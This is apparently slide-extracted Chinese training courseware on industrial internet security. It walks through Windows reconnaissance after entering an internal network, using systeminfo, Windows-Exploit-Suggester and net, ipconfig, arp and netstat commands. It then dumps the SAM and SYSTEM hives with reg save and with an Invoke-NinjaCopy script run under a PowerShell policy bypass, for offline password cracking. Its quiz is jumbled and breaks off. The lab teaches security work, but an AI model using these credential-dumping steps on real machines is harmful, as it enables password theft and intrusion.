工業(yè)互聯(lián)網(wǎng)安全 課件 任務(wù)1 工業(yè)互聯(lián)網(wǎng)基礎(chǔ)信息收集

任務(wù)1工業(yè)互聯(lián)網(wǎng)基礎(chǔ)信息收集進入內(nèi)網(wǎng)之后，是一種由點到線再到面的測試，先弄清楚當(dāng)前機器的情況，例如在工業(yè)互聯(lián)網(wǎng)域中的角色，提供的服務(wù)等信息，再以此為跳板收集其他機器的信息，當(dāng)收集的信息足夠多，才能更好的實現(xiàn)工業(yè)互聯(lián)網(wǎng)的安全保障。任務(wù)描述本任務(wù)主要學(xué)習(xí)Windows常用信息收集方法。工業(yè)互聯(lián)網(wǎng)安全概述1從構(gòu)建工業(yè)互聯(lián)網(wǎng)安全保障體系考慮，工業(yè)互聯(lián)網(wǎng)安全應(yīng)包括五大重點，即設(shè)備安全、網(wǎng)絡(luò)安全、控制安全、應(yīng)用安全和數(shù)據(jù)安全。知識導(dǎo)入工業(yè)互聯(lián)網(wǎng)安全特征2防護對象擴大，安全場景更豐富。連接范圍更廣，威脅延伸至物理世界。網(wǎng)絡(luò)安全和生產(chǎn)安全交織，安全事件危害更嚴重。Windows系統(tǒng)信息收集任務(wù)實施【任務(wù)目的】掌握Windows系統(tǒng)信息收集方法【使用工具】360網(wǎng)絡(luò)安全教育云平臺在Windows操作系統(tǒng)左下角的Win鍵上單擊鼠標(biāo)右鍵，在彈出菜單中執(zhí)行“命令提示符（管理員）”命令?！静襟E1】

Windows基礎(chǔ)信息收集彈出“命令提示符”對話框，輸入命令systeminfo。0102進入Windows-Exploit-Suggester-master工具對應(yīng)的路徑【步驟2】使用Windows-Exploit-Suggester-master工具使用-u參數(shù)升級并將數(shù)據(jù)庫下載至本地0102輸入代碼pipinstallxlrd輸入代碼systeminfo>1.txt0304查看輸出的信息使用Windows-Exploit-Suggester-master加載數(shù)據(jù)庫0605【步驟2】使用Windows-Exploit-Suggester-master工具查看用戶信息【步驟3】

Windows基礎(chǔ)信息收集01使用netuser命令02【步驟3】

Windows基礎(chǔ)信息收集使用netlocalgroup命令0304使用netlocalgroup“組名“命令05使用netaccounts命令【步驟3】

Windows基礎(chǔ)信息收集使用queryuser命令使用ipconfig/all命令08使用ipconfig/displaydns命令0607【步驟3】

Windows基礎(chǔ)信息收集使用netuse命令使用arp-a命令使用routeprint命令使用netstat–ano命令10110912【步驟3】

Windows基礎(chǔ)信息收集【步驟4】

Windows系統(tǒng)憑證收集以管理員權(quán)限運行“命令提示符（管理員）”命令，在彈出的“命令提示符”對話框中輸入以下代碼，即可導(dǎo)出sam數(shù)據(jù)庫中的密碼。regsavehklm\samc:\sam.hiveregsavehklm\systemc:\system.hive方法1導(dǎo)出sam數(shù)據(jù)庫中的密碼【步驟4】

Windows系統(tǒng)憑證收集使用powershelll代碼powershell-execbypassImport-ModuleC:\User\College\Desktop\invoke-ninjacopy.ps1Invoke-NinjaCopy-PathC:\Windows\System32\config\SAM-LocalDestination.\sam.hiveInvoke-NinjaCopy-PathC:\Windows\System32\config\SYSTEM-LocalDestination.\system.hive方法2將生成的sam.hive與system.hive下載到自己的PC，使用SAMinside或Cain導(dǎo)入，即可查看用戶信息。導(dǎo)出sam數(shù)據(jù)庫中的密碼任務(wù)評價任務(wù)評價什么是工業(yè)互聯(lián)網(wǎng)安全?什么是工業(yè)互聯(lián)網(wǎng)安全?工業(yè)互聯(lián)網(wǎng)安全的特征?任務(wù)測驗選擇題

A.設(shè)備安全B.控制安全C.環(huán)境安全D.數(shù)據(jù)安全

以下哪個不屬于工業(yè)互聯(lián)網(wǎng)安全保障體系的內(nèi)容？（）A.SysteminfoB.systemC.InfoD.sys

在Windows操作系統(tǒng)中的“命令提示符”窗口中輸入命令（），可以查看操作系

統(tǒng)版本、架構(gòu)、補丁

情況。A.netuserB.netaccountsC.queryuserD.user

在Windows操作系統(tǒng)中的“命令提示符”窗口中輸入命令（），可以查看最近登